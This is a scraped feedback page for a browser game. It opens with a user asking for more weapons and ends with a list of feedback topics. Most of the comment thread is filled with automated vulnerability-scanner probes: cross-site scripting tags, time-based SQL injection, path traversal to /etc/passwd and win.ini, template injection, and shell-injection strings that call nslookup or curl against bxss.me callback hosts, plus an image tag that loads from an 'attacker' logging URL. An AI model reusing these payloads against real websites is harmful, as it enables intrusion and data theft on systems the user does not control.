Feedback

Extra weapons by MassMurdererOver9000 - 149 months ago

There should be max. 50 weapons for maximized web destruction.
This way, there will be more combos to choose from.
there should also be more weapon types, for example, missile launchers, proton torpedo launchers, composite pinpoint laser beams that autotarget the nearest elements.
Thanks for taking my suggestion into consideration,
Colonel MassMurdererOver9000

• MassMurdererOver9000

  There should also be Turbolasers, like in star wars, and at least 10 different missile launchers for different missiles. Including ICBMs.

• MassMurdererOver9000

  BTW I'm now a major general

• KICKASS

  NO MAX WEAPONS ! HOW ABOUT A ,WEAPON DESIGNER !?

• MassMurdererOver9000

  Hells yeah.

• MassMurdererOver9000

  BTW I'm a lieutenant general now

• Testing

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1tN32KmviO

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• 1BqIZtEG5VO

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ${10000289+10000177}

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• ${9999312+9999719}

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  response.write(9705464*9909380)

• WfxYANoW

  '+response.write(9705464*9909380)+'

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  "+response.write(9705464*9909380)+"

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• Anonymous

  1

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  /etc/shells

• WfxYANoW

  echo ersgiy$()\ bwkdii\nz^xyu||a #' &echo ersgiy$()\ bwkdii\nz^xyu||a #|" &echo ersgiy$()\ bwkdii\nz^xyu||a #

• response.write(9938464*9552774)

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  HUMcHdQB

• '+response.write(9938464*9552774)+'

  1

• WfxYANoW

  1

• "+response.write(9938464*9552774)+"

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  24pEjTIR: dibTPzQx

• WfxYANoW

  &echo pndpeg$()\ vemajy\nz^xyu||a #' &echo pndpeg$()\ vemajy\nz^xyu||a #|" &echo pndpeg$()\ vemajy\nz^xyu||a #

• xtar3zux

  1

• WfxYANoW

  1&n994943=v913624

• WfxYANoW

  1&echo nktuzg$()\ txiysg\nz^xyu||a #' &echo nktuzg$()\ txiysg\nz^xyu||a #|" &echo nktuzg$()\ txiysg\nz^xyu||a #

• WfxYANoW

  bxss.me

• WfxYANoW&n960683=v961353

  1

• WfxYANoW

  |echo zlndtb$()\ zmptkx\nz^xyu||a #' |echo zlndtb$()\ zmptkx\nz^xyu||a #|" |echo zlndtb$()\ zmptkx\nz^xyu||a #

• RLrJhGs9: MHuN3DnQ

  1

• WFVlV3FyTGc=

  1

• WfxYANoW

  )

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  1|echo vzhohe$()\ tqhlsr\nz^xyu||a #' |echo vzhohe$()\ tqhlsr\nz^xyu||a #|" |echo vzhohe$()\ tqhlsr\nz^xyu||a #

• WfxYANoW

  ../1

• WfxYANoW

  ^(#$!@#$)(()))******

• )

  1

• WfxYANoW

  (nslookup -q=cname hithprfnglcsx8a6e6.bxss.me||curl hithprfnglcsx8a6e6.bxss.me))

• Http://bxss.me/t/fit.txt

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  $(nslookup -q=cname hitvfjweddzfz3b32d.bxss.me||curl hitvfjweddzfz3b32d.bxss.me)

• /etc/shells

  1

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  '"()

• WfxYANoW

  &nslookup -q=cname hiteicrlzfjjxa07f8.bxss.me&'\"`0&nslookup -q=cname hiteicrlzfjjxa07f8.bxss.me&`'

• WfxYANoW

  &(nslookup -q=cname hithmkxuyudem287d5.bxss.me||curl hithmkxuyudem287d5.bxss.me)&'\"`0&(nslookup -q=cname hithmkxuyudem287d5.bxss.me||curl hithmkxuyudem287d5.bxss.me)&`'

• file:///etc/passwd

  1

• WfxYANoW

  |(nslookup -q=cname hitomyfposgyadca1a.bxss.me||curl hitomyfposgyadca1a.bxss.me)

• WfxYANoW

  1'&&sleep(27*1000)*ltvwby&&'

• WfxYANoW

  '.gethostbyname(lc('hitns'.'utcioxly7271f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(80).chr(122).chr(89).'

• WfxYANoW

  `(nslookup -q=cname hitoyhlosyapcd7006.bxss.me||curl hitoyhlosyapcd7006.bxss.me)`

• c:/windows/win.ini

  1

• WfxYANoW

  ;(nslookup -q=cname hithheuwzmawwb1b7f.bxss.me||curl hithheuwzmawwb1b7f.bxss.me)|(nslookup -q=cname hithheuwzmawwb1b7f.bxss.me||curl hithheuwzmawwb1b7f.bxss.me)&(nslookup -q=cname hithheuwzmawwb1b7f.bxss.me||curl hithheuwzmawwb1b7f.bxss.me)

• WfxYANoW

  1

• bxss.me

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitfwdhcfikvy16b77.bxss.me||curl${IFS}hitfwdhcfikvy16b77.bxss.me)

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• ../WfxYANoW

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitksqjskeljr8df75.bxss.me||curl${IFS}hitksqjskeljr8df75.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitksqjskeljr8df75.bxss.me||curl${IFS}hitksqjskeljr8df75.bxss.me)&`'

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  1"&&sleep(27*1000)*fzhxgw&&"

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  ".gethostbyname(lc("hitbl"."ehdzbdmu89117.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(73).chr(109).chr(77)."

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  gethostbyname(lc('hithz'.'uysmupri79753.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(78).chr(103).chr(76)

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  1'||sleep(27*1000)*sofvos||'

• ';print(md5(31337));$a='

  1

• WfxYANoW

  1"||sleep(27*1000)*bfopfs||"

• WfxYANoW

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  1

• xfs.bxss.me

  1

• ${@print(md5(31337))}

  1

• WfxYANoW

  '"

• ${@print(md5(31337))}\

  1

• '"()

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  1'"()&%<zzz><ScRiPt >xsca(9291)</ScRiPt>

• '.print(md5(31337)).'

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  <!--

• '"

  1

• WfxYANoW'&&sleep(27*1000)*dxhnks&&'

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >xsca(9134)</ScRiPt>

• <!--

  1

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(101).concat(73).concat(113).concat(65)+(require"socket" Socket.gethostbyname("hitik"+"rtxpdujxa891e.bxss.me.")[3].to_s)+"

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(110).concat(71).concat(109).concat(88)+(require'socket' Socket.gethostbyname('hitkv'+'xybhtsbg21c8c.bxss.me.')[3].to_s)+'

• WfxYANoW

  19117547

• WfxYANoW

  comment

• WfxYANoW

  comment

• WfxYANoW"&&sleep(27*1000)*ziuoma&&"

  1

• WfxYANoW

  comment/.

• WfxYANoW'||sleep(27*1000)*dguuxo||'

  1

• WfxYANoW"||sleep(27*1000)*zfbdyx||"

  1

• comment

  1

• comment

  1

• comment/.

  1

• WfxYANoW

  bfg6606＜s1﹥s2ʺs3ʹhjl6606

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(122).concat(69).concat(121).concat(86)+(require'socket' Socket.gethostbyname('hitur'+'gvntrill04f65.bxss.me.')[3].to_s)

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  1

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >xsca(9682)</ScRiPt>

• WfxYANoW

  1<WH6KPU>DPTOW[!+!]</WH6KPU>

• WfxYANoW

  1<script>xsca(9727)</script>

• WfxYANoW

  1<script>xsca(9587)</script>9587

• WfxYANoW

  1<ScR<ScRiPt>IpT>xsca(9913)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >xsca(9051)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9682></ScRiPt>

• WfxYANoW

  1<ScRiPt >xsca(9787)</ScRiPt>

• WfxYANoW

  1FJUPktYm

• WfxYANoW

  1<isindex type=image src=1 onerror=xsca(9174)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9264'>

• WfxYANoW

  1<body onload=xsca(9162)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=xsca(9604)>

• WfxYANoW

  1<img src=xyz OnErRor=xsca(9978)>

• WfxYANoW

  1<img/src=">" onerror=alert(9876)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%78%73%63%61%289978%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\xsca(9930)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;xsca(9910)&lt;/sCripT&gt;

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+208-208-1=0+0+0+1 --

• WfxYANoW

  1<input autofocus onfocus=xsca(9537)>

• WfxYANoW

  -1 OR 2+457-457-1=0+0+0+1

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  -1' OR 2+799-799-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  -1' OR 2+452-452-1=0+0+0+1 or 'mF2XUuUz'='

• WfxYANoW

  -1" OR 2+415-415-1=0+0+0+1 --

• WfxYANoW

  1}body{zzz:Expre/**/SSion(xsca(9197))}

• WfxYANoW

  1crsN0 <ScRiPt >xsca(9105)</ScRiPt>

• WfxYANoW

  1<WN3H4J>KHZU9[!+!]</WN3H4J>

• WfxYANoW

  1<ifRAme sRc=9277.com></IfRamE>

• WfxYANoW

  1<aBwENk0 x=9782>

• WfxYANoW

  1<img sRc='http://attacker-9443/log.php?

• WfxYANoW

  1<au5rgqX<

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW'"()&%<zzz><ScRiPt >xsca(9929)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >xsca(9658)</ScRiPt>

  1

• WfxYANoW9269157

  1

• bfg2565＜s1﹥s2ʺs3ʹhjl2565

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >xsca(9249)</ScRiPt>

  1

• WfxYANoW<W4YB9W>KWMA8[!+!]</W4YB9W>

  1

• WfxYANoW<script>xsca(9408)</script>

  1

• WfxYANoW<script>xsca(9504)</script>9504

  1

• WfxYANoW<ScRiPt >xsca(9708)</ScRiPt>

  1

• WfxYANoW<ScRiPt >xsca(9964)</ScRiPt>

  1

• WfxYANoW<body onload=xsca(9466)>

  1

• WfxYANoW<img src=xyz OnErRor=xsca(9505)>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<img/src=">" onerror=alert(9269)>

  1

• WfxYANoW\u003CScRiPt\xsca(9593)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;xsca(9284)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=xsca(9856)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(xsca(9150))}

  1

• WfxYANoWbSVp3 <ScRiPt >xsca(9389)</ScRiPt>

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW<WU2WKB>MEB1B[!+!]</WU2WKB>

  1

• WfxYANoW<ifRAme sRc=9262.com></IfRamE>

  1

• WfxYANoW<afgDTNv x=9359>

  1

• WfxYANoW<img sRc='http://attacker-9811/log.php?

  1

• WfxYANoW<aOMvxoI<

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1NKg6UOQ0'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 570=(SELECT 570 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 779=(SELECT 779 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 726=(SELECT 726 FROM PG_SLEEP(15))--

• WfxYANoW

  1pYTuNA6l' OR 100=(SELECT 100 FROM PG_SLEEP(15))--

• WfxYANoW

  18Sp5UDxo') OR 337=(SELECT 337 FROM PG_SLEEP(15))--

• WfxYANoW

  1LUCrod9J')) OR 664=(SELECT 664 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@qxqUS

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWFQ3mclnO

  1

• WfxYANoW

  1

• -1 OR 2+199-199-1=0+0+0+1 --

  1

• -1 OR 2+687-687-1=0+0+0+1

  1

• -1' OR 2+82-82-1=0+0+0+1 --

  1

• -1' OR 2+618-618-1=0+0+0+1 or 's2jiTlC4'='

  1

• -1" OR 2+508-508-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWxfkvDYEf'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@oksvL

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• QVMMr7ph

  1

• User #246063

  1

• uffcvmlk

  1

• dvkjliap

  response.write(9450588*9730160)

• ohtefwnk

  1

• dvkjliap

  '+response.write(9450588*9730160)+'

• pigpdiog

  set|set&set

• ohtefwnk

  1

• dvkjliap

  "+response.write(9450588*9730160)+"

• pigpdiog

  $(nslookup Jr1Mdohp)

• ohtefwnk

  D7x83ula

• response.write(9976910*9409748)

  1

• pigpdiog

  &nslookup kBeUmGqy&'\"`0&nslookup kBeUmGqy&`'

• ohtefwnk

  -1 OR 2+48-48-1=0+0+0+1 --

• rbchuiol

  pbhg4Ade

• '+response.write(9976910*9409748)+'

  1

• set|set&set

  1

• ohtefwnk

  -1 OR 2+761-761-1=0+0+0+1

• VIIAk8lU

  1

• dusqvqri

  ../../../../../../../../../../etc/passwd

• "+response.write(9976910*9409748)+"

  1

• $(nslookup 5aSGEAmI)

  1

• ohtefwnk

  -1' OR 2+765-765-1=0+0+0+1 --

• tuehmnlr

  1

• dusqvqri

  ../../../../../../../../../../../../../../../proc/version

• vygignww

  ${10000280+9999919}

• &nslookup EOZY0riu&'\"`0&nslookup EOZY0riu&`'

  1

• waatgrjc

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• ohtefwnk

  -1' OR 2+935-935-1=0+0+0+1 or 'iLlI3v3S'='

• dusqvqri

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ${9999811+10000352}

  1

• ZVp6eDBwaEE=

  1

• waatgrjc

  1some_inexistent_file_with_long_name.jpg

• ohtefwnk

  -1" OR 2+426-426-1=0+0+0+1 --

• dusqvqri

  ../../../../../../../../../../etc/passwd.jpg

• sqfmjbtn

  1&n992043=v922327

• ytwmdvlt

  )

• waatgrjc

  Http://testasp.vulnweb.com/t/fit.txt

• ohtefwnk

  if(now()=sysdate(),sleep(8),0)/*'XOR(if(now()=sysdate(),sleep(8),0))OR'"XOR(if(now()=sysdate(),sleep(8),0))OR"*/

• dusqvqri

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ytwmdvlt

  !(()&&!|*|*|

• waatgrjc

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• ohtefwnk

  (select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/

• tuehmnlr

  1

• dusqvqri

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• eqauhykq&n946609=v988536

  1

• ytwmdvlt

  ^(#$!@#$)(()))******

• waatgrjc

  testasp.vulnweb.com

• ohtefwnk

  -1; waitfor delay '0:0:8' --

• Anonymous

  1

• dusqvqri

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• )

  1

• ohtefwnk

  -1); waitfor delay '0:0:8' --

• dusqvqri

  /etc/passwd

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• ohtefwnk

  1 waitfor delay '0:0:8' --

• dusqvqri

  %2fetc%2fpasswd

• yvtolrbr

  '"()

• ^(#$!@#$)(()))******

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• ohtefwnk

  Xb8ynsMV'; waitfor delay '0:0:12' --

• yvvqocdw

  ;print(md5(acunetix_wvs_security_test));

• dusqvqri

  /.././.././.././.././.././.././.././../etc/./passwd%00

• vfinshef

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• ohtefwnk

  -1;select pg_sleep(12); --

• yvvqocdw

  ';print(md5(acunetix_wvs_security_test));$a='

• dusqvqri

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• '"()

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• testasp.vulnweb.com

  1

• ohtefwnk

  -1);select pg_sleep(12); --

• yvvqocdw

  ";print(md5(acunetix_wvs_security_test));$a="

• dusqvqri

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• ouqxtqal

  1

• wfdvexpd

  http://hitgAReXkO5bL.bxss.me/

• gjqjfuaw

  1

• ohtefwnk

  -1));select pg_sleep(12); --

• yvvqocdw

  ${@print(md5(acunetix_wvs_security_test))}

• ouqxtqal

  comment

• gjqjfuaw

  1'"

• http://hitOw6jKwYHN5.bxss.me/

  1

• ohtefwnk

  jRo02mcL';select pg_sleep(12); --

• yvvqocdw

  ${@print(md5(acunetix_wvs_security_test))}\

• ouqxtqal

  comment

• dusqvqri

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• gjqjfuaw

  \

• igxvatnh

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ohtefwnk

  02QiPBpm');select pg_sleep(12); --

• ;print(md5(acunetix_wvs_security_test));

  1

• ouqxtqal

  comment/.

• dusqvqri

  file:///etc/passwd

• ohtefwnk

  i8IuPE3Q'));select pg_sleep(4); --

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• ouqxtqal

  1

• dusqvqri

  /\../\../\../\../\../\../\../etc/passwd

• gjqjfuaw

  @@EnU7b

• egfggwey

  /www.vulnweb.com

• ohtefwnk

  jpUPGWm3'));select pg_sleep(0); --

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• comment

  1

• dusqvqri

  WEB-INF/web.xml

• /www.vulnweb.com

  1

• gjqjfuaw

  JyI=

• ohtefwnk

  1

• ${@print(md5(acunetix_wvs_security_test))}

  1

• comment

  1

• dusqvqri

  /WEB-INF/web.xml

• ibpojbkw

  '"

• ohtefwnk

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• comment/.

  1

• dusqvqri

  WEB-INF\web.xml

• ibpojbkw

  <!--

• SjAkPW3G

  1

• iiacuwjq

  1'"()&%<acx><ScRiPt >fCVf(9324)</ScRiPt>

• ../../../../../../../../../../etc/passwd

  1

• '"

  1

• gjqjfuaw

  (select convert(int,CHAR(65)))

• -1 OR 2+650-650-1=0+0+0+1 --

  1

• <!--

  1

• gjqjfuaw

  1

• -1 OR 2+147-147-1=0+0+0+1

  1

• iiacuwjq

  '"()&%<acx><ScRiPt >fCVf(9316)</ScRiPt>

• 1'"

  1

• -1' OR 2+37-37-1=0+0+0+1 --

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• \

  1

• -1' OR 2+441-441-1=0+0+0+1 or 'shTvBL3p'='

  1

• iiacuwjq

  1_9338

• -1" OR 2+383-383-1=0+0+0+1 --

  1

• @@efUyU

  1

• iiacuwjq

  acu8129＜s1﹥s2ʺs3ʹuca8129

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• JyI=

  1

• /etc/passwd

  1

• 1 waitfor delay '0:0:7' --

  1

• %2fetc%2fpasswd

  1

• SLqNJwjR'; waitfor delay '0:0:7' --

  1

• (select convert(int,CHAR(65)))

  1

• RebfQH4D';select pg_sleep(7); --

  1

• iiacuwjq

  {{9999212*10000104}}

• 0dYbDoRa');select pg_sleep(14); --

  1

• dYszTvR3'));select pg_sleep(14); --

  1

• iiacuwjq

  1<ScRiPt >fCVf(9779)</ScRiPt>

• iiacuwjq

  1<WMD2NC>AM2EJ[!+!]</WMD2NC>

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• iiacuwjq

  1<script>fCVf(9038)</script>

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• iiacuwjq

  1<ScR<ScRiPt>IpT>fCVf(9584)</sCr<ScRiPt>IpT>

• WEB-INF\web.xml

  1

• iiacuwjq

  1<ScRiPt >fCVf(9100)</ScRiPt>

• iiacuwjq

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9034></ScRiPt>

• iiacuwjq

  1<ScRiPt >fCVf(9224)</ScRiPt>

• iiacuwjq

  1<video><source onerror="javascript:fCVf(9246)">

• iiacuwjq

  1<isindex type=image src=1 onerror=fCVf(9594)>

• iiacuwjq

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9284'>

• iiacuwjq

  1<body onload=fCVf(9902)>

• iiacuwjq

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=fCVf(9503)>

• iiacuwjq

  1<img src=xyz OnErRor=fCVf(9097)>

• iiacuwjq

  1<img/src=">" onerror=alert(9938)>

• iiacuwjq

  %31%3C%53%63%52%69%50%74%20%3E%66%43%56%66%289781%29%3C%2F%73%43%72%69%70%54%3E

• iiacuwjq

  1\u003CScRiPt\fCVf(9139)\u003C/sCripT\u003E

• iiacuwjq

  1&lt;ScRiPt&gt;fCVf(9432)&lt;/sCripT&gt;

• iiacuwjq

  1<input autofocus onfocus=fCVf(9640)>

• iiacuwjq

  <a HrEF=http://www.vulnweb.com></a>

• iiacuwjq

  <a HrEF=jaVaScRiPT:>

• iiacuwjq

  [url=http://www.vulnweb.com][/url]

• iiacuwjq

  1<img<!-- --> src=x onerror=alert(9131);//><!-- -->

• iiacuwjq

  1}body{acu:Expre/**/SSion(fCVf(9870))}

• iiacuwjq

  1<% contenteditable onresize=fCVf(9152)>

• iiacuwjq

  1_o4ncI <ScRiPt >fCVf(9142)</ScRiPt>

• iiacuwjq

  1<W2GUIB>OARQO[!+!]</W2GUIB>

• iiacuwjq

  1<ifRAme sRc=9581.com></IfRamE>

• iiacuwjq

  1<zOJU0X x=9252>

• iiacuwjq

  1<img sRc='http://attacker-9811/log.php?

• iiacuwjq'"()&%<acx><ScRiPt >fCVf(9461)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >fCVf(9645)</ScRiPt>

  1

• iiacuwjq_9492

  1

• acu1254＜s1﹥s2ʺs3ʹuca1254

  1

• {{9999720*9999754}}

  1

• iiacuwjq<ScRiPt >fCVf(9408)</ScRiPt>

  1

• iiacuwjq<WGFYNJ>DTPSX[!+!]</WGFYNJ>

  1

• iiacuwjq<script>fCVf(9445)</script>

  1

• iiacuwjq<ScRiPt >fCVf(9240)</ScRiPt>

  1

• iiacuwjq<ScRiPt >fCVf(9957)</ScRiPt>

  1

• iiacuwjq<body onload=fCVf(9651)>

  1

• iiacuwjq<img src=xyz OnErRor=fCVf(9921)>

  1

• iiacuwjq<img/src=">" onerror=alert(9271)>

  1

• iiacuwjq\u003CScRiPt\fCVf(9292)\u003C/sCripT\u003E

  1

• iiacuwjq&lt;ScRiPt&gt;fCVf(9986)&lt;/sCripT&gt;

  1

• iiacuwjq<input autofocus onfocus=fCVf(9539)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• iiacuwjq}body{acu:Expre/**/SSion(fCVf(9099))}

  1

• iiacuwjq<% contenteditable onresize=fCVf(9637)>

  1

• iiacuwjq_nqmJv <ScRiPt >fCVf(9412)</ScRiPt>

  1

• iiacuwjq<WMVHRY>EDY7Q[!+!]</WMVHRY>

  1

• iiacuwjq<ifRAme sRc=9863.com></IfRamE>

  1

• iiacuwjq<ZcAWC2 x=9102>

  1

• iiacuwjq<img sRc='http://attacker-9925/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2857 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  660 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  644 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
